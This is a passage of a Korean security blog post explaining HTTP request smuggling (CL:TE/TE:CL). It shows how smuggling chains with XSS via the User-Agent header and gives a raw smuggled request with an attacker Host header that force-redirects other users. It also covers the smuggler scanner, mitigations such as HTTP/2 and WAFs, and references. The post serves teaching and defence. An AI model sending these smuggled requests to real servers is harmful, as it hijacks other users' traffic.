ํŒจํ‚ท์„ ๋ฐ€์ˆ˜ํ•˜๋Š” ๊ณต๊ฒฉ์„ ํ†ตํ•ด ๋‹ค์–‘ํ•œ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์ธ XSS(Cross Site Scripting) ์ทจ์•ฝ์ ์ด ๋Œ€์ƒ ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์กด์žฌํ•  ๊ฒฝ์šฐ ์ถ”๊ฐ€ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

ํŽ˜์ด์ง€ ๋กœ์ง์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์‚ฌ์šฉ์ž์˜ ์ •๋ณด์ธ User-Agent ๊ฐ’์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์š”์ฒญ ํŒจํ‚ท์„ ์žก์•„ ํ™•์ธํ•ด๋ณด๋ฉด ํ™•์‹คํ•˜๊ฒŒ ๊ฐ’์œผ๋กœ ์ธ์‹ํ•˜๊ณ  ์ฒ˜๋ฆฌํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ํ—ค๋”์— ๊ฐ’ ์ด์™ธ์— ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๋ฒ„ํผ์— ๋‚จ๊ธด ํ›„ ๋‹ค๋ฅธ ์š”์ฒญ ๋•Œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

CL:TE ํ™˜๊ฒฝ์„ ๊ณ ๋ คํ•˜์—ฌ ์ „์ฒด ๋ณธ๋ฌธ ๋ฐ์ดํ„ฐ๊ฐ€ ๋ฐฑ์—”๋“œ๋กœ ๋‚ ์•„๊ฐ€์ง€๋งŒ ๋ฐฑ์—”๋“œ์˜ Transfer-Encoding ์ •์ฑ…์œผ๋กœ ์ธํ•ด "0" ๊นŒ์ง€๋งŒ ์ฒ˜๋ฆฌํ•˜๊ณ  ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ์ถ”๊ฐ€ ์š”์ฒญ์€ ๋ฒ„ํผ์— ๋‚จ๊ธฐ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

 

* ๋‹ค์‹œ ๋ง์”€๋“œ๋ฆฌ์ง€๋งŒ GET ๋ฐฉ์‹์ธ๋ฐ Body์— a=1์ด๋ผ๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ํฌํ•จ๋œ ์ด์œ ๋Š” Content-Tyep ์†์„ฑ์œผ๋กœ ์ธํ•ด ๊ฐ’์„ ๋„ฃ์–ด์ค€ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์„œ๋ฒ„ ์ธก์—์„œ ๋ณธ๋ฌธ์— ๋ฐ์ดํ„ฐ๊ฐ€ ํ™•์ธ๋˜์ง€ ์•Š์•„ ๋ฌด์ž‘์ • ๊ธฐ๋‹ค๋ฆฌ๋‹ค ํƒ€์ž„์•„์›ƒ ๊ฑธ์–ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. XSS์™€ ์—ฐ๊ณ„ํ•˜์—ฌ ์‚ฌ์šฉํ•˜๋Š” ๋ฌธ์ œ๋Š” ๋‹ค์†Œ ์œ„ํ—˜๋„๊ฐ€ ๋†’์€ ๊ฒƒ์œผ๋กœ ํŒ๋‹จ๋ฉ๋‹ˆ๋‹ค. HTTP ์š”์ฒญ ๋ฐ€์ˆ˜ ๊ณต๊ฒฉ์€ MITM์ด ์•„๋‹Œ ์„œ๋ฒ„๋‹จ์— ๊ธฐ๋ก๋œ ํ›„ ์ฒ˜๋ฆฌ๋˜๋Š” ๋ฐฉ์‹์ด๊ธฐ์— ํƒ€ ์‚ฌ์šฉ์ž๋“ค์—๊ฒŒ๋„ ์ถฉ๋ถ„ํžˆ ์˜ํ–ฅ์ด ๊ฐˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

 

HTTP Request Smuggling + Force Redirect

๋Œ€๋ถ€๋ถ„์˜ ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ํŠน์ • URL์—์„œ ์ด๋ฒคํŠธ ๋ฐœ์ƒ ์‹œ ํƒ€ URL๋กœ ์ด๋™ํ•˜๊ธฐ ์œ„ํ•ด ๋งค๊ฐœ๋ณ€์ˆ˜์— ๊ฐ’์„ ๋ฐ›์ง€ ์•Š๊ณ  "Host:" ํ—ค๋”์— ๋ฐฐ์น˜ํ•˜์—ฌ ๋ฆฌ๋‹ค์ด๋ ‰์…˜ ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ HTTP ๋ฐ€์ˆ˜ ๊ณต๊ฒฉ์„ ์—ฐ๊ณ„ํ•˜๊ฒŒ ๋  ๊ฒฝ์šฐ ๋‹ค์Œ ์š”์ฒญ์„ ๋ฐ›์„ ํƒ€ ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ฐ•์ œ ๋ฆฌ๋‹ค์ด๋ ‰์…˜ ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” HTTP ์š”์ฒญ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<Request>
GET /home HTTP/1.1
Host: guleum-zone.tistory.com

<Response> -> Original HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://guleum-zone.tistory.com -> processing

 

์ด๊ฑธ ์•…์šฉํ•œ๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์žฌ์š”์ฒญ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<Request>
POST / HTTP/1.1
Host: Target-domain.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com -> Back-End Stanby
Foo: X

==========================Back-End Stanby===========================

<Other User Request> -> After Stanby
GET /home HTTP/1.1
Host: attacker-website.com -> Add this Domain
Foo: XGET /scripts/include.js HTTP/1.1 -> Original Request
Host: vulnerable-website.com

<Other User Response> -> Force HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ -> processing of Attacker Domain

 ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๋Š” ํ”„๋ก ํŠธ์™€ ๋ฐฑ์—”๋“œ ๊ฐ„์— CL:TE ์ฒ˜๋ฆฌ๋ฅผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธ ํ›„ ์ž์‹ ์˜ ์š”์ฒญ์— ์ถ”๊ฐ€์ ์ธ ๋ณธ๋ฌธ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„์— ๋Œ€๊ธฐํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด๋•Œ Transfer-Encoding์— ๋ถ€์—ฌ๋œ chunked์œผ๋กœ ์ธํ•ด "0" ๊นŒ์ง€๋งŒ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋˜๊ณ  Host: ์— ์ถ”๊ฐ€๋œ ๊ณต๊ฒฉ์ž์˜ ์•…์„ฑ ์„œ๋ฒ„ ์ฃผ์†Œ๋Š” ์„œ๋ฒ„์— ์š”์ฒญํ•˜๋Š” ํƒ€ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์— ๋ถ™์–ด์„œ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

 

๊ธฐ์กด์— ์‚ฌ์šฉ์ž๋Š” GET /scripts/include.js ๊ฒฝ๋กœ์— ์กด์žฌํ•˜๋Š” ์ •์ƒ์ ์ธ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜์—ฌ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•˜๋ ค๊ณ  ํ–ˆ์ง€๋งŒ ์š”์ฒญ ์•ž๋‹จ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ €์žฅํ•ด๋‘” ๊ฐ’์ด ๋ถ™๊ฒŒ ๋˜์–ด ์ตœ์ข…์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•ด๋‘” ์•…์„ฑ ์„œ๋ฒ„๋กœ ๋ฆฌ๋‹ค์ด๋ ‰์…˜ ๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

Http Request Smuggling Scan

github.com/defparam/smuggler

 

defparam/smuggler

Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3 - defparam/smuggler

github.com

์œ„์—์„œ ์—ฌ๋Ÿฌ CL:TE / TE:CL ๋“ฑ ํ…Œ์ŠคํŠธ๋ฅผ ์ง„ํ–‰ํ•˜๋‹ค ๋ณด๋ฉด ์ ์ ˆํ•œ Content-Length ๊ฐ’์„ ๋ถ€์—ฌํ•œ๋‹ค๋Š” ๊ฒŒ ๋ณดํ†ต์ผ์ด ์•„๋‹ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿด ๋•Œ๋Š” ์ž๋™ํ™” ์Šค์บ”์„ ์ง„ํ–‰ํ•˜์—ฌ ํ‘œ๋ฉด์ ์œผ๋กœ ์ทจ์•ฝ ์œ ๋ฌด๋ฅผ ํŒ๋‹จ ํ›„์— ํ™•์ธ์ด ๋œ๋‹ค๋ฉด ํ”„๋ก์‹œ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์ทจ์•ฝ์„ฑ ๊ฒ€์ฆ์„ ํ•˜๋Š” ๊ฒŒ ํšจ์œจ์ ์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

 

๋Œ€์ƒ ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์— HTTP ๋ฐ€์ˆ˜ ๊ณต๊ฒฉ์— ๋Œ€ํ•˜ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•  ๊ฒฝ์šฐ ์œ„์ฒ˜๋Ÿผ TECL ๋˜๋Š” CLTE ๊ฐ™์€ ๊ตฌ๋ถ„์„ ํ•ด์ฃผ๋ฉด์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ๋‹ค๋Š” ๊ฒƒ์„ ์ฝ˜์†”์— ์ฐ์–ด์ค๋‹ˆ๋‹ค.

 

/Payload ๋””๋ ‰ํ† ๋ฆฌ์— ์ƒ์„ฑ๋œ ๊ฒฐ๊ณผ ํŒŒ์ผ์„ ํ†ตํ•ด ์ถ”๊ฐ€์ ์œผ๋กœ ์ˆ˜๋™์ง„๋‹จ์„ ๋น ๋ฅด๊ฒŒ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ์ง€์›ํ•ด์ค๋‹ˆ๋‹ค.

 

๋Œ€์‘๋ฐฉ์•ˆ

์กฐ์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ ๋„ˆ๋ฌด๋‚˜๋„ ๊นŒ๋‹ค๋กœ์›Œ ๋‹จ์ง€ ์ธ์ฆ์‹ฌ์‚ฌ๋ฅผ ์œ„ํ•œ ์ „์ œ์กฐ๊ฑด ๋˜๋Š” OWASP ๊ธฐ์ค€์˜ ์ทจ์•ฝ์  ์ง„๋‹จ์„ ๋ฐ›์œผ๋ ค๋Š” ๊ธฐ์—…๋“ค์€ ์กฐ์น˜๊ฐ€ ์กฐ๊ธˆ ์–ด๋ ค์šธ ๊ฒƒ์ด๋ผ๊ณ  ํŒ๋‹จ๋˜์ง€๋งŒ ๋งŒ์•ฝ ์กฐ์น˜๋ฅผ ํ•˜๊ณ ์ž ํ•œ๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

- ๋ฐฑ์—”๋“œ ์ชฝ์— HTTP2 ํ”„๋กœํ† ์ฝœ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜์—ฌ ๋๋‚˜๋Š” ์œ„์น˜์— ๋Œ€ํ•œ ๋ชจํ˜ธ์„ฑ์„ ๋ฐฉ์ง€(Transfer-Encoding๋Š” HTTP/2 ์—์„œ๋Š” ์ง€์›๋˜์ง€ ์•Š์Œ)
- ๋น„์ •์ƒ์ ์ธ ์š”์ฒญ์„ ๊ฐ์ง€ ํ•˜๊ธฐ ์œ„ํ•ด ํ–‰์œ„ ๊ธฐ๋ฐ˜ WAF ๋„์ž…
- ๋ฐฑ์—”๋“œ์˜ ์—ฐ๊ฒฐ ์žฌ์‚ฌ์šฉ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ๋ฐฑ์—”๋“œ ์š”์ฒญ์ด ๋ณ„๋„์˜ ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ „์†ก๋˜๋„๋ก(์„œ๋ฒ„์˜ ์„ฑ๋Šฅ ์ €ํ•˜๋ฅผ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ์Œ)
- ํ”„๋ŸฐํŠธ์™€ ๋ฐฑ์—”๋“œ์˜ ํ—ค๋”๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํ—ค๋”์ธ์ง€ ๋™์ผํ•˜๊ฒŒ ๋งคํ•‘

๋‹จ์ˆœํžˆ ํด๋ผ์ด์–ธํŠธ, ์„œ๋ฒ„ ์ธก์—์„œ ๋๋‚ผ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ๊ฐ€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ ๊ธฐ์—…์˜ ์ธํ”„๋ผ ํ™˜๊ฒฝ์„ ๊ณ ๋ คํ•˜์—ฌ ์กฐ์น˜ํ•ด์•ผ ๋œ๋‹ค.

 

PayPal์˜ ๊ฒฝ์šฐ ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ์กฐ์น˜ํ•˜๊ธฐ ์œ„ํ•ด ์•„๋ž˜์˜ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹Œ ์„œ๋น„์Šคํ•˜๋Š” ํ™˜๊ฒฝ์„ ๊ณ ๋ คํ•˜์—ฌ Transfer-Encoding ํ—ค๋” ์ž์ฒด๋ฅผ ๋น„์‹ ๋ขฐํ•˜์—ฌ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š๋„๋ก ์กฐ์น˜ํ–ˆ๋‹ค๋Š” ๋‚ด์šฉ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด๋ฒˆ ์ทจ์•ฝ์ ์€ ๋ญ”๊ฐ€ ์ข€ ๋” ์—ฐ๊ตฌ๊ฐ€ ํ•„์š”ํ•ด ๋ณด์ด๊ธฐ ๋•Œ๋ฌธ์— ์žฌ๋ฐŒ๋Š” ์‚ฌ๋ก€๋‚˜ ์ •๋ณด๊ฐ€ ์ƒ๊ธด๋‹ค๋ฉด ๋” ์ถ”๊ฐ€ํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

References

- https://portswigger.net/web-security/request-smuggling
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://www.hahwul.com/2019/08/12/http-smuggling-attack-re-born/
<Transfer-Encoding>
- https://b.pungjoo.com/entry/Transfer-Encoding-chunked-VS-Content-Length
<Content-Length>
- https://secretofsh.tistory.com/120
<Content-Type>
- https://blog.naver.com/writer0713/221853596497
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment